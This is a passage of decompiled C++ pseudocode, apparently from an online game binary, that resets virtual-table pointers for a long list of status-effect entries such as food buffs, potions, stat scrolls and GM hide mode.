*)&v1->asl_FOODTYPEB07.astr_Tick); v1->asl_FOODTYPEB07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB06.astr_Tick); v1->asl_FOODTYPEB06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB05.astr_Tick); v1->asl_FOODTYPEB05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB04.astr_Tick); v1->asl_FOODTYPEB04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB03.astr_Tick); v1->asl_FOODTYPEB03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB02.astr_Tick); v1->asl_FOODTYPEB02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB01.astr_Tick); v1->asl_FOODTYPEB01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEB00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEB00.astr_Tick); v1->asl_FOODTYPEB00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA15.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA15.astr_Tick); v1->asl_FOODTYPEA15.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA14.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA14.astr_Tick); v1->asl_FOODTYPEA14.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA13.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA13.astr_Tick); v1->asl_FOODTYPEA13.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA12.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA12.astr_Tick); v1->asl_FOODTYPEA12.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA11.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA11.astr_Tick); v1->asl_FOODTYPEA11.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA10.astr_Tick); v1->asl_FOODTYPEA10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA09.astr_Tick); v1->asl_FOODTYPEA09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA08.astr_Tick); v1->asl_FOODTYPEA08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA07.astr_Tick); v1->asl_FOODTYPEA07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA06.astr_Tick); v1->asl_FOODTYPEA06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA05.astr_Tick); v1->asl_FOODTYPEA05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA04.astr_Tick); v1->asl_FOODTYPEA04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA03.astr_Tick); v1->asl_FOODTYPEA03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA02.astr_Tick); v1->asl_FOODTYPEA02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA01.astr_Tick); v1->asl_FOODTYPEA01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA00.astr_Tick); v1->asl_FOODTYPEA00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP09.astr_Tick); v1->asl_FOODSP09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP08.astr_Tick); v1->asl_FOODSP08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP07.astr_Tick); v1->asl_FOODSP07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP06.astr_Tick); v1->asl_FOODSP06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP05.astr_Tick); v1->asl_FOODSP05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP04.astr_Tick); v1->asl_FOODSP04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP03.astr_Tick); v1->asl_FOODSP03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP02.astr_Tick); v1->asl_FOODSP02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP01.astr_Tick); v1->asl_FOODSP01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP00.astr_Tick); v1->asl_FOODSP00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP09.astr_Tick); v1->asl_FOODHP09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP08.astr_Tick); v1->asl_FOODHP08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP07.astr_Tick); v1->asl_FOODHP07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP06.astr_Tick); v1->asl_FOODHP06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP05.astr_Tick); v1->asl_FOODHP05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP04.astr_Tick); v1->asl_FOODHP04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP03.astr_Tick); v1->asl_FOODHP03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP02.astr_Tick); v1->asl_FOODHP02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP01.astr_Tick); v1->asl_FOODHP01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP00.astr_Tick); v1->asl_FOODHP00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KEEPFROMCHAT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_IMMORTAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_QUESTENTANGLE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_QUESTENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_OBSERVERHIDEMODE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GMHIDEMODE.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWMSSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTMSSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHMSSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWMSSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ALLPSNRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ALLDSSRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ALLCURRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHCURRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORCURRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWCURRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHDSSRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORDSSRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWDSSRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHPSNRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORPSNRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWPSNRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORMSSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHACMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHACMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORACMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWACMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWACMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHDEXSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHDEXSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORDEXSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWDEXSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWDEXSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHSTRCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHSTRCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORSTRCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWSTRCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWSTRCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHMAXSPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHMAXSPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORMAXSPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWMAXSPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWMAXSPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHMAXHPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHMAXHPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORMAXHPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWMAXHPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWMAXHPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHCRISCROLL.baseclass_0.vfptr = 